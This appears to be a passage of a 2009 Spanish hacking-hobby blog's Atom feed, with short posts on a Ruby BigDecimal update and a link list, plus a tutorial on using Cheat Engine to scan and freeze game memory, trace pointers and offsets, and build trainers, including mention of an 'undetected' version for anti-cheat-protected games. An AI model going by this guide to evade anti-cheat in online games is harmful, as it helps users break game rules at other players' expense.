/&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;font-size:100%;" &gt;1.8&lt;/span&gt; &lt;p&gt;Por favor, actualicen a 1.8.6-p369 o ruby-1.8.7-p173.&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;a href="ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p369.tar.gz"&gt;ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p369.tar.gz&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7-p173.tar.gz"&gt;ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7-p173.tar.gz&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;Fuente | Ruby-Lang&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;&lt;/div&gt;             &lt;/div&gt;           &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-2023719631030418341?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/2023719631030418341/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=2023719631030418341' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2023719631030418341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2023719631030418341'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/07/vulnerabilidad-en-bigdecimal.html' title='Vulnerabilidad en BigDecimal'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-8050126052773154132</id><published>2009-07-14T13:01:00.002+02:00</published><updated>2009-07-14T13:16:10.055+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sources'/><title type='text'>Regreso del blog</title><content type='html'>Tras todo este tiempo inactivo, el blog va a volver a escribir entradas (todos los que quieran ayudar, email a graciosidades_jeje@hotmail.com) . Otra noticia es que Z-Cripter y SKiP lo más posible es que no escriban más, sino que de cuando en cuando me manden entradas por mail.&lt;br /&gt;&lt;br /&gt;Hoy volvemos con una minientrada, que es el source code en ActionScript de Paul Neave, titulado imagination.&lt;br /&gt;http://code.google.com/p/neave/downloads/detail?name=neave_imagination.zip&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-8050126052773154132?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/8050126052773154132/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=8050126052773154132' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8050126052773154132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8050126052773154132'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/07/regreso-del-blog.html' title='Regreso del blog'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-3093912810027305060</id><published>2009-03-22T17:06:00.004+01:00</published><updated>2009-03-22T17:16:28.759+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><title type='text'>Manual del Cheat Engine</title><content type='html'>&lt;span style="font-weight: bold;"&gt;FAQ's&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;P. ¿Es Cheat Engine un Cheat?&lt;br /&gt;R. No, es un Editor de Memoria&lt;br /&gt;&lt;br /&gt;P. ¿Es un programa para hacer cheats?&lt;br /&gt;R. Se puede usar para eso&lt;br /&gt;&lt;br /&gt;P.¿Me pueden bannear por usarlo?&lt;br /&gt;R.Simplemente sí&lt;br /&gt;&lt;br /&gt;Si estás preparado para empezar: www.cheatengine.com/download.php&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pequeño Diccionario:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;CE : Cheat Engine&lt;br /&gt;UCE: Undetected Cheat Engine ( Version indetectable de Cheat Engine usada para juegos con GameGuard y demás. Después voy a poner algunas&lt;br /&gt;ADDY: Adress , Direccion.&lt;br /&gt;VAL: Value, Valor&lt;br /&gt;CT: Cheat Table , Tabla de Cheats . (cuando hayas encontrado las addys que buscabas, las puedes guardar en una tabla que podrá ser abierta otra vez con CE para seguir usándolas.. )&lt;br /&gt;HEX: Hexadecimal&lt;br /&gt;FRZ: Freeze, congela&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Primera vez que abres CE?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Dirá que si quieres asociar la extensión .ct a CE... Di que sí. No abras el tuto ya que está en inglés (y este en español y más detallado)&lt;br /&gt;Paso a explicar las partes del CE:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Partes del CE:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img180.imageshack.us/img180/1725/ceparteslv6.jpg" /&gt;&lt;br /&gt;1-Procces List : Muestra una lista con los procesos abiertos&lt;br /&gt;2-Abre una CT&lt;br /&gt;3-Guarda la CT actual&lt;br /&gt;4-Inicia una nueva búsqueda&lt;br /&gt;5-Busca sólo en las direcciones encontradas en la anterior búsqueda&lt;br /&gt;6-Vuelve la búsqueda hacia atrás.. Por si metemos la pata (CTRL+Z)&lt;br /&gt;7-Direcciones encontradas&lt;br /&gt;8-La dirección que encontramos&lt;br /&gt;9-El valor de la dirección que encontramos&lt;br /&gt;10-Aquí ponemos el valor que deseamos encontrar&lt;br /&gt;11-Aquí elegimos el tipo de scan. Por defecto "Exact Value" (Valor Exacto)(luego os explico más)&lt;br /&gt;12-Tipo de valor, hay varios tipos de valores. Luego los explico&lt;br /&gt;13-Agrega el addy seleccionado a la CT (es la que está abajo)&lt;br /&gt;14-Congela el valor del addy seleccionado en el CT&lt;br /&gt;15-Descripción del addy. Si estamos buscando un addy de vida y lo encontramos le ponemos descripción "Vida" y así no se nos confunde con otros addys en caso de tener varios.&lt;br /&gt;16-Addy&lt;br /&gt;17-Tipo de valor&lt;br /&gt;18-Valor&lt;br /&gt;19-Esto aumenta la velocidad del juego. Si lo marcamos nos dice por cuánto queremos acelerar.&lt;br /&gt;20-Agrega un addy manualmente. Nosotros tenemos que indicar el addy y lo agrega a la CT&lt;br /&gt;También agrega pointers&lt;br /&gt;21-Visor de memoria. Muestra toda la memoria del juego&lt;br /&gt;22-Opciones avanzadas. Ahí podemos crear un trainer o pausar el juego&lt;br /&gt;23-Opciones: Algunas opciones del CE&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tipos de Addys&lt;/span&gt;&lt;br /&gt;Os habréis dado cuenta de que al buscar addys os salen de dos colores, verdes y negras. Pues bien:&lt;br /&gt;Verdes:Statics Addys(No cambian, son por ejemplo el que tu personaje sea guerrero. Es constante.&lt;br /&gt;Negras:Comuns Addys(Están en cambio, indican lugar, magias...)&lt;br /&gt;¿Qué nos importa esto?&lt;br /&gt;Fácil. Si conseguimos el addy verde de la HP por ejemplo, será el total. la agregamos a la CT, al trainer y ya tenemos una vez congelada un trainer con God Mode(no te quitan vida)&lt;br /&gt;Pero si tenemos un addy negro, tendremos que buscar estos cada vez que queramos el God Mode, ya que irán cambiando.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tipos de valores:&lt;/span&gt;&lt;br /&gt;Vemos que hay distintos tipos de valores:&lt;br /&gt;&lt;br /&gt;Binary&lt;br /&gt;Byte&lt;br /&gt;2 Byte&lt;br /&gt;4 Byte&lt;br /&gt;8 Byte&lt;br /&gt;Float&lt;br /&gt;Double&lt;br /&gt;Text&lt;br /&gt;Array Of Byte&lt;br /&gt;&lt;br /&gt;Pues estos valores indican dónde y cómo está guardada el addy.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tipos de escaneo:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Valor exacto&lt;br /&gt;Valor desconocido&lt;br /&gt;Mayor de..X&lt;br /&gt;Menor de..X&lt;br /&gt;Valor entre X.... y ... X&lt;br /&gt;Valor que aumentó&lt;br /&gt;Valor que aumentó en .. X&lt;br /&gt;Valor que disminuyó&lt;br /&gt;Valor que disminuyó en .. X&lt;br /&gt;Valor que cambió&lt;br /&gt;Valor que no cambió&lt;br /&gt;Valor igual al primer escaneo&lt;br /&gt;&lt;br /&gt;Supongo que queda entendido, pero por si aún no, un ejemplo:&lt;br /&gt;En un juego tenemos una barra de HP, pero no sabemos de cuánto es. Debemos usar Unknown Value. Dejaríamos que nos bajase la HP(o la aumentaríamos) y buscaríamos decreased value(o increased si la subimos). O si sabemos cuánto nos bajó el bicho(o nos subió la poti) buscamos increased.&lt;br /&gt;Os pongo un ejemplo con el Buscaminas:&lt;br /&gt;Seleccionas proceso(en vez de darle a OK te recomiendo darle a attach process o algo asi) y, como el reloj está en 000, tu busca 0 en Exact Value y 4 bytes. te saldrán muchos. Déjalo correr y pones en CE por ejemplo 15 y cuando llegue, buscas. Os dejo otra manera más fácil. Dejas correr un poco de tiempo y das a advanced Options. Pausas el juego. Buscas lo que tienes y ya lo despausas. Repetimos hasta que queden pocas y agregamos a la CT.&lt;br /&gt;Cuando la hayamos pasado a la CT, marcamos freeze(la freezamos). Podemos cambiar el value a 0 y se reinciará el contador.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Manejando los Pointers/Offsets:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y alguien se preguntará... ¿y cómo hago un trainer si no tengo addys estáticas?&lt;br /&gt;Para eso están los pointers.&lt;br /&gt;En un juego cada vez que cerramos y volvemos a abrir las addys suelen cambiar.&lt;br /&gt;Y los valores no se guardan siempre en las mismas addys... Pero sí en los mismos pointers. Esto es lo que necesitamos para con una addy no static crear el trainer.&lt;br /&gt;En un juego simple, la estructuraa es:&lt;br /&gt;&lt;br /&gt;Addy Static -&gt; Valor&lt;br /&gt;&lt;br /&gt;Es decir, que el valor está en la dirección estática, de tal manera que con encontrar esta ya tenemos el valor.&lt;br /&gt;Peeeeeero, en juegos más complejos, la estructura es:&lt;br /&gt;&lt;br /&gt;Base Pointer -&gt;Addy No Static -&gt;Valor&lt;br /&gt;&lt;br /&gt;Es decir, que por más que hallemos el value o la addy, cada vez que volvamos a abrir tendremos que volver a conseguirlas. O podemos guardar el pointer.&lt;br /&gt;También hay otra estructura aún más compleja:&lt;br /&gt;&lt;br /&gt;Base Pointer -&gt;Pointer -&gt;Addy No Static -&gt;Valor&lt;br /&gt;&lt;br /&gt;Y esto sería que el primer elemento nos lleva al pointer, que nos lleva a la address estática, la cual nos lleva al valor que buscábamos. Si os parece muy complejo, pensad que también hay unas estructuras así:&lt;br /&gt;&lt;br /&gt;Base Pointer-&gt;Pointer-&gt;Pointer-&gt;Pointer-&gt;Pointer-&gt;Pointer-&gt;Addy no Statica-&gt;Valor&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Encontrando y guardando Pointers:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para hacer esto, primero tenemos que hallar el addy que contiene el valor que buscamos. Una vez lo tengamos en el CT le damos a "FIND WHAT IT WRITES TO THIS ADRESS". Hacemos que el addy cambie y volvemos al CT en el que tendremos un par de cosas escritas. Cuando le damos click a alguna nos tendría que salir algo como:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img142.imageshack.us/img142/2419/pointersvt4.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Claramente los values les saldrán distintos en su PC.&lt;br /&gt;Si se fijan en la imagen 2, pueden ver una línea que está en rojo:&lt;br /&gt;&lt;br /&gt;mov[esi+000001CC]&lt;br /&gt;&lt;br /&gt;Esta es la que nos interesa. Las tres últimas cifras(1CC en este caso) son el Offset. también les podía haber aparecido&lt;br /&gt;&lt;br /&gt;mov[esi 123456+54]&lt;br /&gt;&lt;br /&gt;Y el offset sería 54.&lt;br /&gt;Abajo dice:&lt;br /&gt;The Value of The Pointer Needed to Find This Adress is 00C96E08&lt;br /&gt;Pues inciamos una nueva búsqueda en 4 bytes, exact value y marcando la casilla "Hex" y buscaremos 00C96E08.&lt;br /&gt;Cuando tengamos los/el addy/s no los bajamos a la CT, sino damos a Add Adress manually&lt;br /&gt;Marcamos pointer, en adress ponemos el Addy que acabamos de encontrar y en offset el que habíamos encontrado(en mi caso 1CC), apretamos OK y tenemos nuestro pointer.&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;&lt;br /&gt;PD:Extraído de Hacking Online&lt;br /&gt;&lt;div style="visibility: hidden;" title="1237737982087" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982088" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982089" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982284" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982633" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982634" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982636" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982637" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982639" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982640" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982641" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982643" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982644" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982646" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982648" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237737982649" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738024968" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738024970" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738024989" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738024991" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738024992" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738025081" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738025082" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738025083" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738025088" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738025089" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738025091" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738025094" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738025096" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738025098" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738025100" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738025103" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738025106" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738025121" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738026004" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738026009" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738026015" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738026017" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738026018" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738026020" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738026023" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738026025" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738026027" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738026029" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738026032" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738026033" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738028696" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738028701" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738028718" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738029035" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738029042" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168285" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168288" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168289" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168475" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168476" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168481" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168482" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168483" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168484" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168487" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168488" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168489" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168491" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168492" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738168494" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248651" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248661" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248664" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248864" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248865" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248867" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248868" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248875" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248876" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248878" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248890" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248892" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248893" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248895" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738248907" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268505" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268509" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268511" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268714" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268715" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268716" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268718" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268720" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268721" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268722" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268724" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268725" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268727" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268728" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738268729" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738270382" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738270400" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738270425" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237738270441" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-3093912810027305060?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/3093912810027305060/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=3093912810027305060' title='14 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/3093912810027305060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/3093912810027305060'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/03/manual-del-cheat-engine.html' title='Manual del Cheat Engine'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-6693778527931922954</id><published>2009-03-15T14:51:00.002+01:00</published><updated>2009-03-15T19:30:28.753+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='La Semana'/><title type='text'>La Semana #1</title><content type='html'>Seguimos con este pequeño semanario:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://javiervalcarce.es/wiki/GCC_para_Windows"&gt;El GCC para windows&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ehow.com/how_4455691_raise-dragcave-dragon-eggs-adulthood.html"&gt;Unos trucos de www.dragoncave.net&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.2gpt.com/?f=15"&gt;Un site de pagos&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.williamfawcett.com/websketch/"&gt;Una pijada como cualquier otra&lt;/a&gt;&lt;br /&gt;&lt;a href="about:mozilla"&gt;[EJECUTAR DESDE FIREFOX]&lt;/a&gt; &lt;br /&gt;&lt;a href="https://addons.mozilla.org/es-ES/firefox/addon/1765"&gt;Bloqueo de autoreproducciones en webs&lt;/a&gt;&lt;br /&gt;&lt;a href=http://es.hacking.wikia.com/wiki/Portada&gt;Hacking Wiki&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;&lt;div style="visibility: hidden;" title="1237125065300" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065376" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065441" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065443" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065452" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065455" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065457" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065458" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065459" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065461" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065462" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065464" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065465" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065466" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065467" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065469" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065474" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065933" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065935" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065938" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065939" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065942" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065943" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065945" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065947" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065948" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065950" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065952" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125065954" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095598" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095603" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1237125095604" 